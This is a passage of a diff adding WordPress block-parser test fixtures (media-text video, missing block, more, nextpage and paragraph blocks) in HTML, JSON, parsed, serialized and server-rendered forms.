+                "innerHTML": "\n\t\t<p class=\"has-large-font-size\">My Content</p>\n\t\t",
+                "innerContent": [
+                    "\n\t\t<p class=\"has-large-font-size\">My Content</p>\n\t\t"
+                ]
+            }
+        ],
+        "innerHTML": "\n<div class=\"wp-block-media-text alignwide is-stacked-on-mobile\">\n\t<figure class=\"wp-block-media-text__media\">\n\t\t<video controls src=\"http://localhost/wp-content/uploads/2018/09/Jul-26-2018-11-34-54.mp4\"></video>\n\t</figure>\n\t<div class=\"wp-block-media-text__content\">\n\t\t\n\t</div>\n</div>\n",
+        "innerContent": [
+            "\n<div class=\"wp-block-media-text alignwide is-stacked-on-mobile\">\n\t<figure class=\"wp-block-media-text__media\">\n\t\t<video controls src=\"http://localhost/wp-content/uploads/2018/09/Jul-26-2018-11-34-54.mp4\"></video>\n\t</figure>\n\t<div class=\"wp-block-media-text__content\">\n\t\t",
+            null,
+            "\n\t</div>\n</div>\n"
+        ]
+    },
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n",
+        "innerContent": [
+            "\n"
+        ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__is-stacked-on-mobile.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__is-stacked-on-mobile.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__is-stacked-on-mobile.serialized.html	(revision 56912)
@@ -0,0 +1,5 @@
+<!-- wp:media-text {"mediaId":17897,"mediaType":"video","isStackedOnMobile":true} -->
+<div class="wp-block-media-text alignwide is-stacked-on-mobile"><figure class="wp-block-media-text__media"><video controls src="http://localhost/wp-content/uploads/2018/09/Jul-26-2018-11-34-54.mp4"></video></figure><div class="wp-block-media-text__content"><!-- wp:paragraph {"placeholder":"Content…","fontSize":"large"} -->
+<p class="has-large-font-size">My Content</p>
+<!-- /wp:paragraph --></div></div>
+<!-- /wp:media-text -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__is-stacked-on-mobile.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__is-stacked-on-mobile.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__is-stacked-on-mobile.server.html	(revision 56912)
@@ -0,0 +1,12 @@
+
+<div class="wp-block-media-text alignwide is-stacked-on-mobile">
+	<figure class="wp-block-media-text__media">
+		<video controls src="http://localhost/wp-content/uploads/2018/09/Jul-26-2018-11-34-54.mp4"></video>
+	</figure>
+	<div class="wp-block-media-text__content">
+		
+		<p class="has-large-font-size">My Content</p>
+		
+	</div>
+</div>
+
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__media-right-custom-width.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__media-right-custom-width.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__media-right-custom-width.html	(revision 56912)
@@ -0,0 +1,12 @@
+<!-- wp:media-text {"align":"full","mediaPosition":"right","mediaId":17897,"mediaType":"video","mediaWidth":41} -->
+<div class="wp-block-media-text alignfull has-media-on-the-right" style="grid-template-columns:auto 41%">
+	<figure class="wp-block-media-text__media">
+		<video controls src="http://localhost/wp-content/uploads/2018/09/Jul-26-2018-11-34-54.mp4"></video>
+	</figure>
+	<div class="wp-block-media-text__content">
+		<!-- wp:paragraph {"align":"right","placeholder":"Content…","fontSize":"large"} -->
+		<p style="text-align:right" class="has-large-font-size">My video</p>
+		<!-- /wp:paragraph -->
+	</div>
+</div>
+<!-- /wp:media-text -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__media-right-custom-width.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__media-right-custom-width.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__media-right-custom-width.json	(revision 56912)
@@ -0,0 +1,34 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/media-text",
+        "isValid": true,
+        "attributes": {
+            "align": "full",
+            "mediaAlt": "",
+            "mediaPosition": "right",
+            "mediaId": 17897,
+            "mediaUrl": "http://localhost/wp-content/uploads/2018/09/Jul-26-2018-11-34-54.mp4",
+            "mediaType": "video",
+            "mediaWidth": 41,
+            "isStackedOnMobile": false
+        },
+        "innerBlocks": [
+            {
+                "clientId": "_clientId_0",
+                "name": "core/paragraph",
+                "isValid": true,
+                "attributes": {
+                    "content": "My video",
+                    "align": "right",
+                    "dropCap": false,
+                    "placeholder": "Content…",
+                    "fontSize": "large"
+                },
+                "innerBlocks": [],
+                "originalContent": "<p style=\"text-align:right\" class=\"has-large-font-size\">My video</p>"
+            }
+        ],
+        "originalContent": "<div class=\"wp-block-media-text alignfull has-media-on-the-right\" style=\"grid-template-columns:auto 41%\">\n\t<figure class=\"wp-block-media-text__media\">\n\t\t<video controls src=\"http://localhost/wp-content/uploads/2018/09/Jul-26-2018-11-34-54.mp4\"></video>\n\t</figure>\n\t<div class=\"wp-block-media-text__content\">\n\t\t\n\t</div>\n</div>"
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__media-right-custom-width.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__media-right-custom-width.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__media-right-custom-width.parsed.json	(revision 56912)
@@ -0,0 +1,42 @@
+[
+    {
+        "blockName": "core/media-text",
+        "attrs": {
+            "align": "full",
+            "mediaPosition": "right",
+            "mediaId": 17897,
+            "mediaType": "video",
+            "mediaWidth": 41
+        },
+        "innerBlocks": [
+            {
+                "blockName": "core/paragraph",
+                "attrs": {
+                    "align": "right",
+                    "placeholder": "Content…",
+                    "fontSize": "large"
+                },
+                "innerBlocks": [],
+                "innerHTML": "\n\t\t<p style=\"text-align:right\" class=\"has-large-font-size\">My video</p>\n\t\t",
+                "innerContent": [
+                    "\n\t\t<p style=\"text-align:right\" class=\"has-large-font-size\">My video</p>\n\t\t"
+                ]
+            }
+        ],
+        "innerHTML": "\n<div class=\"wp-block-media-text alignfull has-media-on-the-right\" style=\"grid-template-columns:auto 41%\">\n\t<figure class=\"wp-block-media-text__media\">\n\t\t<video controls src=\"http://localhost/wp-content/uploads/2018/09/Jul-26-2018-11-34-54.mp4\"></video>\n\t</figure>\n\t<div class=\"wp-block-media-text__content\">\n\t\t\n\t</div>\n</div>\n",
+        "innerContent": [
+            "\n<div class=\"wp-block-media-text alignfull has-media-on-the-right\" style=\"grid-template-columns:auto 41%\">\n\t<figure class=\"wp-block-media-text__media\">\n\t\t<video controls src=\"http://localhost/wp-content/uploads/2018/09/Jul-26-2018-11-34-54.mp4\"></video>\n\t</figure>\n\t<div class=\"wp-block-media-text__content\">\n\t\t",
+            null,
+            "\n\t</div>\n</div>\n"
+        ]
+    },
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n",
+        "innerContent": [
+            "\n"
+        ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__media-right-custom-width.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__media-right-custom-width.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__media-right-custom-width.serialized.html	(revision 56912)
@@ -0,0 +1,5 @@
+<!-- wp:media-text {"align":"full","mediaPosition":"right","mediaId":17897,"mediaType":"video","mediaWidth":41} -->
+<div class="wp-block-media-text alignfull has-media-on-the-right" style="grid-template-columns:auto 41%"><figure class="wp-block-media-text__media"><video controls src="http://localhost/wp-content/uploads/2018/09/Jul-26-2018-11-34-54.mp4"></video></figure><div class="wp-block-media-text__content"><!-- wp:paragraph {"align":"right","placeholder":"Content…","fontSize":"large"} -->
+<p style="text-align:right" class="has-large-font-size">My video</p>
+<!-- /wp:paragraph --></div></div>
+<!-- /wp:media-text -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__media-right-custom-width.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__media-right-custom-width.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__media-right-custom-width.server.html	(revision 56912)
@@ -0,0 +1,12 @@
+
+<div class="wp-block-media-text alignfull has-media-on-the-right" style="grid-template-columns:auto 41%">
+	<figure class="wp-block-media-text__media">
+		<video controls src="http://localhost/wp-content/uploads/2018/09/Jul-26-2018-11-34-54.mp4"></video>
+	</figure>
+	<div class="wp-block-media-text__content">
+		
+		<p style="text-align:right" class="has-large-font-size">My video</p>
+		
+	</div>
+</div>
+
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__video.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__video.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__video.html	(revision 56912)
@@ -0,0 +1,12 @@
+<!-- wp:media-text {"mediaId":17897,"mediaType":"video"} -->
+<div class="wp-block-media-text alignwide">
+	<figure class="wp-block-media-text__media">
+		<video controls src="http://localhost/wp-content/uploads/2018/09/Jul-26-2018-11-34-54.mp4"></video>
+	</figure>
+	<div class="wp-block-media-text__content">
+		<!-- wp:paragraph {"placeholder":"Content…","fontSize":"large"} -->
+		<p class="has-large-font-size">My Content</p>
+		<!-- /wp:paragraph -->
+	</div>
+</div>
+<!-- /wp:media-text -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__video.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__video.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__video.json	(revision 56912)
@@ -0,0 +1,33 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/media-text",
+        "isValid": true,
+        "attributes": {
+            "align": "wide",
+            "mediaAlt": "",
+            "mediaPosition": "left",
+            "mediaId": 17897,
+            "mediaUrl": "http://localhost/wp-content/uploads/2018/09/Jul-26-2018-11-34-54.mp4",
+            "mediaType": "video",
+            "mediaWidth": 50,
+            "isStackedOnMobile": false
+        },
+        "innerBlocks": [
+            {
+                "clientId": "_clientId_0",
+                "name": "core/paragraph",
+                "isValid": true,
+                "attributes": {
+                    "content": "My Content",
+                    "dropCap": false,
+                    "placeholder": "Content…",
+                    "fontSize": "large"
+                },
+                "innerBlocks": [],
+                "originalContent": "<p class=\"has-large-font-size\">My Content</p>"
+            }
+        ],
+        "originalContent": "<div class=\"wp-block-media-text alignwide\">\n\t<figure class=\"wp-block-media-text__media\">\n\t\t<video controls src=\"http://localhost/wp-content/uploads/2018/09/Jul-26-2018-11-34-54.mp4\"></video>\n\t</figure>\n\t<div class=\"wp-block-media-text__content\">\n\t\t\n\t</div>\n</div>"
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__video.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__video.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__video.parsed.json	(revision 56912)
@@ -0,0 +1,38 @@
+[
+    {
+        "blockName": "core/media-text",
+        "attrs": {
+            "mediaId": 17897,
+            "mediaType": "video"
+        },
+        "innerBlocks": [
+            {
+                "blockName": "core/paragraph",
+                "attrs": {
+                    "placeholder": "Content…",
+                    "fontSize": "large"
+                },
+                "innerBlocks": [],
+                "innerHTML": "\n\t\t<p class=\"has-large-font-size\">My Content</p>\n\t\t",
+                "innerContent": [
+                    "\n\t\t<p class=\"has-large-font-size\">My Content</p>\n\t\t"
+                ]
+            }
+        ],
+        "innerHTML": "\n<div class=\"wp-block-media-text alignwide\">\n\t<figure class=\"wp-block-media-text__media\">\n\t\t<video controls src=\"http://localhost/wp-content/uploads/2018/09/Jul-26-2018-11-34-54.mp4\"></video>\n\t</figure>\n\t<div class=\"wp-block-media-text__content\">\n\t\t\n\t</div>\n</div>\n",
+        "innerContent": [
+            "\n<div class=\"wp-block-media-text alignwide\">\n\t<figure class=\"wp-block-media-text__media\">\n\t\t<video controls src=\"http://localhost/wp-content/uploads/2018/09/Jul-26-2018-11-34-54.mp4\"></video>\n\t</figure>\n\t<div class=\"wp-block-media-text__content\">\n\t\t",
+            null,
+            "\n\t</div>\n</div>\n"
+        ]
+    },
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n",
+        "innerContent": [
+            "\n"
+        ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__video.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__video.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__video.serialized.html	(revision 56912)
@@ -0,0 +1,5 @@
+<!-- wp:media-text {"mediaId":17897,"mediaType":"video"} -->
+<div class="wp-block-media-text alignwide"><figure class="wp-block-media-text__media"><video controls src="http://localhost/wp-content/uploads/2018/09/Jul-26-2018-11-34-54.mp4"></video></figure><div class="wp-block-media-text__content"><!-- wp:paragraph {"placeholder":"Content…","fontSize":"large"} -->
+<p class="has-large-font-size">My Content</p>
+<!-- /wp:paragraph --></div></div>
+<!-- /wp:media-text -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__video.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__video.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__video.server.html	(revision 56912)
@@ -0,0 +1,12 @@
+
+<div class="wp-block-media-text alignwide">
+	<figure class="wp-block-media-text__media">
+		<video controls src="http://localhost/wp-content/uploads/2018/09/Jul-26-2018-11-34-54.mp4"></video>
+	</figure>
+	<div class="wp-block-media-text__content">
+		
+		<p class="has-large-font-size">My Content</p>
+		
+	</div>
+</div>
+
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__missing.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__missing.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__missing.html	(revision 56912)
@@ -0,0 +1,6 @@
+<!-- wp:unregistered/example {"attr1":"One","attr2":"Two"} -->
+<p>Testing missing block with some</p>
+<div class="wp-some-class">
+	HTML <span style="color: red;">content</span>
+</div>
+<!-- /wp:unregistered/example -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__missing.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__missing.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__missing.json	(revision 56912)
@@ -0,0 +1,14 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/missing",
+        "isValid": true,
+        "attributes": {
+            "originalName": "unregistered/example",
+            "originalUndelimitedContent": "<p>Testing missing block with some</p>\n<div class=\"wp-some-class\">\n\tHTML <span style=\"color: red;\">content</span>\n</div>",
+            "originalContent": "<!-- wp:unregistered/example {\"attr1\":\"One\",\"attr2\":\"Two\"} -->\n<p>Testing missing block with some</p>\n<div class=\"wp-some-class\">\n\tHTML <span style=\"color: red;\">content</span>\n</div>\n<!-- /wp:unregistered/example -->"
+        },
+        "innerBlocks": [],
+        "originalContent": "<!-- wp:unregistered/example {\"attr1\":\"One\",\"attr2\":\"Two\"} -->\n<p>Testing missing block with some</p>\n<div class=\"wp-some-class\">\n\tHTML <span style=\"color: red;\">content</span>\n</div>\n<!-- /wp:unregistered/example -->"
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__missing.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__missing.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__missing.parsed.json	(revision 56912)
@@ -0,0 +1,19 @@
+[
+    {
+        "blockName": "unregistered/example",
+        "attrs": {
+            "attr1": "One",
+            "attr2": "Two"
+        },
+        "innerBlocks": [],
+        "innerHTML": "\n<p>Testing missing block with some</p>\n<div class=\"wp-some-class\">\n\tHTML <span style=\"color: red;\">content</span>\n</div>\n",
+        "innerContent": [ "\n<p>Testing missing block with some</p>\n<div class=\"wp-some-class\">\n\tHTML <span style=\"color: red;\">content</span>\n</div>\n" ]
+    },
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n",
+        "innerContent": [ "\n" ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__missing.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__missing.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__missing.serialized.html	(revision 56912)
@@ -0,0 +1,6 @@
+<!-- wp:unregistered/example {"attr1":"One","attr2":"Two"} -->
+<p>Testing missing block with some</p>
+<div class="wp-some-class">
+	HTML <span style="color: red;">content</span>
+</div>
+<!-- /wp:unregistered/example -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__missing.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__missing.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__missing.server.html	(revision 56912)
@@ -0,0 +1,6 @@
+
+<p>Testing missing block with some</p>
+<div class="wp-some-class">
+	HTML <span style="color: red;">content</span>
+</div>
+
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__more.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__more.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__more.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:core/more -->
+<!--more-->
+<!-- /wp:core/more -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__more.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__more.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__more.json	(revision 56912)
@@ -0,0 +1,12 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/more",
+        "isValid": true,
+        "attributes": {
+            "noTeaser": false
+        },
+        "innerBlocks": [],
+        "originalContent": "<!--more-->"
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__more.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__more.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__more.parsed.json	(revision 56912)
@@ -0,0 +1,16 @@
+[
+    {
+        "blockName": "core/more",
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n<!--more-->\n",
+        "innerContent": [ "\n<!--more-->\n" ]
+    },
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n",
+        "innerContent": [ "\n" ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__more.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__more.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__more.serialized.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:more -->
+<!--more-->
+<!-- /wp:more -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__more.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__more.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__more.server.html	(revision 56912)
@@ -0,0 +1,3 @@
+
+<!--more-->
+
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__more__custom-text-teaser.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__more__custom-text-teaser.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__more__custom-text-teaser.html	(revision 56912)
@@ -0,0 +1,4 @@
+<!-- wp:core/more {"customText":"Continue Reading","noTeaser":true} -->
+<!--more Continue Reading-->
+<!--noteaser-->
+<!-- /wp:core/more -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__more__custom-text-teaser.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__more__custom-text-teaser.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__more__custom-text-teaser.json	(revision 56912)
@@ -0,0 +1,13 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/more",
+        "isValid": true,
+        "attributes": {
+            "customText": "Continue Reading",
+            "noTeaser": true
+        },
+        "innerBlocks": [],
+        "originalContent": "<!--more Continue Reading-->\n<!--noteaser-->"
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__more__custom-text-teaser.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__more__custom-text-teaser.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__more__custom-text-teaser.parsed.json	(revision 56912)
@@ -0,0 +1,19 @@
+[
+    {
+        "blockName": "core/more",
+        "attrs": {
+            "customText": "Continue Reading",
+            "noTeaser": true
+        },
+        "innerBlocks": [],
+        "innerHTML": "\n<!--more Continue Reading-->\n<!--noteaser-->\n",
+        "innerContent": [ "\n<!--more Continue Reading-->\n<!--noteaser-->\n" ]
+    },
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n",
+        "innerContent": [ "\n" ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__more__custom-text-teaser.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__more__custom-text-teaser.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__more__custom-text-teaser.serialized.html	(revision 56912)
@@ -0,0 +1,4 @@
+<!-- wp:more {"customText":"Continue Reading","noTeaser":true} -->
+<!--more Continue Reading-->
+<!--noteaser-->
+<!-- /wp:more -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__more__custom-text-teaser.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__more__custom-text-teaser.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__more__custom-text-teaser.server.html	(revision 56912)
@@ -0,0 +1,4 @@
+
+<!--more Continue Reading-->
+<!--noteaser-->
+
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__nextpage.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__nextpage.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__nextpage.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:core/nextpage -->
+<!--nextpage-->
+<!-- /wp:core/nextpage -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__nextpage.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__nextpage.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__nextpage.json	(revision 56912)
@@ -0,0 +1,10 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/nextpage",
+        "isValid": true,
+        "attributes": {},
+        "innerBlocks": [],
+        "originalContent": "<!--nextpage-->"
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__nextpage.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__nextpage.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__nextpage.parsed.json	(revision 56912)
@@ -0,0 +1,16 @@
+[
+    {
+        "blockName": "core/nextpage",
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n<!--nextpage-->\n",
+        "innerContent": [ "\n<!--nextpage-->\n" ]
+    },
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n",
+        "innerContent": [ "\n" ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__nextpage.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__nextpage.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__nextpage.serialized.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:nextpage -->
+<!--nextpage-->
+<!-- /wp:nextpage -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__nextpage.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__nextpage.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__nextpage.server.html	(revision 56912)
@@ -0,0 +1,3 @@
+
+<!--nextpage-->
+
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__paragraph__align-right.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__paragraph__align-right.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__paragraph__align-right.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:core/paragraph {"align":"right"} -->
+<p style="text-align:right;">... like this one, which is separate from the above and right aligned.</p>
+<!-- /wp:core/paragraph -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__paragraph__align-right.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__paragraph__align-right.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__paragraph__align-right.json	(revision 56912)
@@ -0,0 +1,14 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/paragraph",
+        "isValid": true,
+        "attributes": {
+            "content": "... like this one, which is separate from the above and right aligned.",
+            "align": "right",
+            "dropCap": false
+        },
+        "innerBlocks": [],
+        "originalContent": "<p style=\"text-align:right;\">... like this one, which is separate from the above and right aligned.</p>"
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__paragraph__align-right.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__paragraph__align-right.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__paragraph__align-right.parsed.json	(revision 56912)
@@ -0,0 +1,18 @@
+[
+    {
+        "blockName": "core/paragraph",
+        "attrs": {
+            "align": "right"
+        },
+        "innerBlocks": [],
+        "innerHTML": "\n<p style=\"text-align:right;\">... like this one, which is separate from the above and right aligned.</p>\n",
+        "innerContent": [ "\n<p style=\"text-align:right;\">... like this one, which is separate from the above and right aligned.</p>\n" ]
+    },
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n",
+        "innerContent": [ "\n" ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__paragraph__align-right.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__paragraph__align-right.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__paragraph__align-right.serialized.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:paragraph {"align":"right"} -->
+<p style="text-align:right">... like this one, which is separate from the above and right aligned.</p>
+<!-- /wp:paragraph -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__paragraph__align-right.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__paragraph__align-right.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__paragraph__align-right.server.html	(revision 56912)
@@ -0,0 +1,3 @@
+
+<p style="text-align:right;">... like this one, which is separate from the above and right aligned.</p>
+
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__paragraph__deprecated.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__paragraph__deprecated.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__paragraph__deprecated.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:paragraph -->
+Unwrapped is <em>still</em> valid.
+<!-- /wp:paragraph -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__paragraph__deprecated.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__paragraph__deprecated.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__paragraph__deprecated.json	(revision 56912)
@@ -0,0 +1,13 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/paragraph",
+        "isValid": true,
+        "attributes": {
+            "content": "Unwrapped is <em>still</em> valid.",
+            "dropCap": false
+        },
+        "innerBlocks": [],
+        "originalContent": "Unwrapped is <em>still</em> valid."
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__paragraph__deprecated.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__paragraph__deprecated.parsed.json	(revision 56912)
